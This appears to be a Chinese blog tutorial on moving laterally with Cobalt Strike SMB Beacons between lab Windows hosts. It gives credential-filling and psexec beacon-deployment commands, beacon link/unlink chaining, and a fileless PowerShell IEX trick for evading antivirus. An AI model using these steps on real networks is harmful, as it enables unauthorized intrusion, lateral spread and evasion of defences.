2020/6/19更新:
通过命名管道 psexec 通过 SMB Listener 横向过去的话,会在 admin$
共享路径下上传一个 exe 文件,这样可能过不了杀软。
但是 SMB Beacon 可以生成 Stageless 的 PowerShell payload。
如果把此 ps1 放到远程进行下载、IEX 执行就可以无文件绕过查杀,结合 https 监听器即可。
谢谢 @undefined 师傅教我。
昨天一个朋友问我 SMB Beacon 怎么上线,我想在网上找篇文章给他没找到,于是自己写一篇。既然我写了那么多 CS 教程都忘了写这篇,也算是填个坑,可能你们 HW 时候用得到。
- 主机1:
Windows 2008 R2 企业版 64位数中文版
小声bb:为什么选这个做实验,因为它防护少。不像 2019 那么变态(默认开 defender),这样一会儿就要涉及免杀了。选 2008 做实验,省掉不少烦恼。再者,昨天我朋友遇到的真实环境也真的是 2008。我这几台主机上面防护软件就只有阿里云盾 AliYunDun.exe
。
通过 Scripted Web Delivery(powershell)
生成的 payload 上线第一台主机,其 hostname 为 father
。
既然已经是 Administrator
权限,就省去了提权的步骤。
SMB Beacon 的使用场景是:
Klion《CobatStrike 各个协议监听器及 payload 详细用法 》:
当前已拿到了目标内网中的一台机器的 beacon shell,然后又通过其它方式搞到了同内网下的另一台 windows 机器的本地administrator
密码且这台机器的 SMB[445 端口]能正常通。不幸的是、由于各种各样的原因限制,那台 windows 机器并不能正常访问外网,也就是说没法再正常的反弹 beacon shell 了,那么其他那些反向监听器也就全都用不上了,而我现在就想通过当前仅有的这个 beacon shell 能不能把内网那台不能正常访问外网的机器也一块给带出来呢?答案是肯定的,bind_pipe
就是专为适应这种实战场景而设计的。
注
:bind_pipe 是 CS SMB 协议 payload 的名字。
1、探测内网 445 端口开放情况
探测结果如下:
除了 hostname 为 FATHER
的这台主机,还有两台主机的 445 端口开放:
- 172.31.51.190(主机2:
Windows 2008 R2 企业版 64位数中文版
,hostname:son
) - 172.31.51.192(主机3:
Windows 2008 R2 企业版 64位数中文版
, hostname:bro
)
先通过 SMB 协议使 190 主机上线:
2、 创建一个 SMB listener
- 监听器名称为
smb
- Pipename 管道名称为
test
可以注意到这个 SMB 监听器并没有让我们指定端口,其实 CS 3.14 之前是可以指定端口的,但是在 CS 4.0 中直接删掉了IP 和端口的填写框。这是因为这个 Beacon Shell 会通过管道过去,只要对方机器的 445 端口保持畅通,那么端口其实用不用都无所谓,至于 IP 保持默认即可。
3、 使用欲横向主机的凭据填充令牌
beacon> shell net use \\172.31.51.190\admin$ /user:"administrator" "test1234@"
beacon> ls \\172.31.51.190\c$
4、 SMB 链接过去
beacon> jump psexec64 172.31.51.190 smb
这样就通过 SMB 协议成功横向到了 172.31.51.190 这台主机,获取了其 SMB Beacon!
对于主机3(172.31.51.192
),我想从主机2 (172.31.51.190
)走 SMB 协议横向过去。
1、填充凭据
现在还要上线 172.31.51.192 这台主机,这台主机同样开放了 445 端口,另外它和 172.31.51.189 的凭据相同,那么主机1就已经有其令牌了。
可以看到从 172.31.51.189
可以直接查看192这台主机的 c 盘文件:
但是在 172.31.51.190
这台主机就不可以:
这里注意一下这里的报错 error 5
:
如果在尝试去连接到一个 Beacon 之后得到一个 error 5(权限拒绝),可以尝试这样解决: 窃取域用户的令牌或使用 make_token DOMAIN\user password
来使用对于目标有效的凭据来填充你的当前令牌,然后再次尝试去连接到 Beacon。
顺便提一句:53
错误是 445 端口不通,如下:
填充凭据:
对于 `error 1312`的解决方法:[net use“发生系统错误 1312。指定的登录会话不存在。可能已被终止。”解决方法](https://www.cnblogs.com/dgjnszf/p/12792283.html)
![title](https://leanote.com/api/file/getImage?fileId=5eba22f4ab64410531049832)
2、link SMB Beacon
从 Beacon 控制台使用 link [host] [Pipename]
可以把当前的 Beacon 链接到一个等待连接的 SMB Beacon。当当前 Beacon check in,它的链接的对等 Beacon 也会 check in。
注:所谓的 check in
,指的是 Beacon 回连主机,回传受害系统的元数据,准备好进行任务数据通讯的状态。
注意上面的划线部分,什么叫「等待链接」?我们可以做个小实验来理解其概念。
在主机2(172.31.51.190
)的 Beacon Shell 中填充完主机3(172.31.51.192
)的凭据、获取了其 token 之后,我们来尝试一下 link 命令。如下图所示是失败的。
于是我们使用 psexec
命令从主机2(172.31.51.190
)横向到主机3(172.31.51.192
),于是就建立了主机2到主机3的链接:
CS 官方手册 snowming 译本:
要销毁一个 Beacon 链接,在父会话或子会话中使用unlink [ip address] [session PID]
。这个 [session PID] 参数是要取消链接的 Beacon 的进程 ID。该值用于当有多个子 Beacon 时,指定一个特定的 Beacon 来断开链接。
我们使用 unlink 172.31.51.192 2520
命令取消对主机3的链接:
但是对主机3的 SMB Beacon 取消链接之后,发生了什么呢?
此 SMB Beacon 不会离开并消失。相反,它进入一种等待其他 Beacon 连接的状态。我们可以使用 link 命令来从将来的另一个 Beacon 恢复对 SMB Beacon 的控制。
于是再次尝试 link 命令,就成功了!
所以总结一下:什么叫「等待链接」?
就是之前横向过获得了其 SMB Beacon,然后通过 unlink
命令取消了对此 SMB Beacon 的链接,之后这个被取消链接的 SMB Beacon 就处于等待链接状态。可以通过 link
命令再次链接。
这里还有一些额外要补充的:
为了与正常流量融合,链接的 Beacon 使用 Windows 命名管道进行通信。这个流量被封装于 SMB 协议中。对于此方法有一些警告:
- 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
SMB Beacon 使用场景:
当前已拿到了目标内网中的一台机器的 beacon shell,然后又通过其它方式搞到了同内网下的另一台 windows 机器的本地 administrator
密码且这台机器的 SMB[445 端口]能正常 通。不幸的是、由于各种各样的原因限制,那台 windows 机器并不能正常访问外网,也就是说没法再正常的反弹 beacon shell 了,那么其他那些反向监听器也就全都用不上了,而我现在就想通过当前仅有的这个 beacon shell 能不能把内网那台不能正常访问外网的机器也一块给带出来呢?答案是肯定的,bind_pipe
就是专为适应这种实战场景而设计的。
SMB Beacon 使用步骤:
1. 建立 SMB 监听器
2. 填充凭据
beacon> shell net use \\172.31.51.190\admin$ /user:"administrator" "test1234@" #父 Beacon 中
3. 横向建立 SMB Beacon
beacon> jump psexec64 172.31.51.190 smb #父 Beacon 中
4. 取消链接
unlink [ip address] [session PID]
5. 再次链接到 SMB Beacon
link [host] [Pipename]
最终效果展示:
一个圈(我又加上了 hostname 为 bro 的 SMB Beacon 对 hostname 为 father 的 SMB Beacon 的一个级联链接):
多个级联:
2020/6/11日更新:
使用 SMB Beacon 的前提是凭据必须是 administrator 的。 我试过用域内的服务账户的凭据去 SMB 一台域内主机。如下面的记录,填充凭据没有问题,也可以列出目录。但是 jump psexec 横向时候就失败了。
beacon> shell net use \\192.168.0.134\C$ /user:"DT****\ir***ervice" "i*****123"
[*] Tasked beacon to run: net use \\192.168.0.134\C$ /user:"DTG***M\ir***ervice" "i*****123"
[+] host called home, sent: 101 bytes
[+] received output:
The command completed successfully.
# 注:这条命令的回显我省略了部分
beacon> ls \\192.168.0.134\C$
[*] Tasked beacon to list files in \\192.168.0.134\C$
[+] host called home, sent: 36 bytes
[*] Listing: \\192.168.0.134\C$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 05/17/2019 14:30:58 $Recycle.Bin
dir 01/30/2013 21:18:26 Backup CA
dir 01/14/2015 18:01:19 Backup Exec AOFO Store
beacon> jump psexec64 192.168.0.134 smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_98d5) on 192.168.0.134 via Service Control Manager (\\192.168.0.134\ADMIN$\773c614.exe)
[+] host called home, sent: 289492 bytes
[-] Could not open service control manager on 192.168.0.134: 5
[-] Could not connect to pipe: 2
所以说必须是有了想要横向的那台主机的管理员权限才可以!!!
- CobatStrike 各个协议监听器及 payload 详细用法,Klion [星球文章请勿向我索要]
- CobaltStrike4.0用户手册_中文翻译,QAX-A TEAM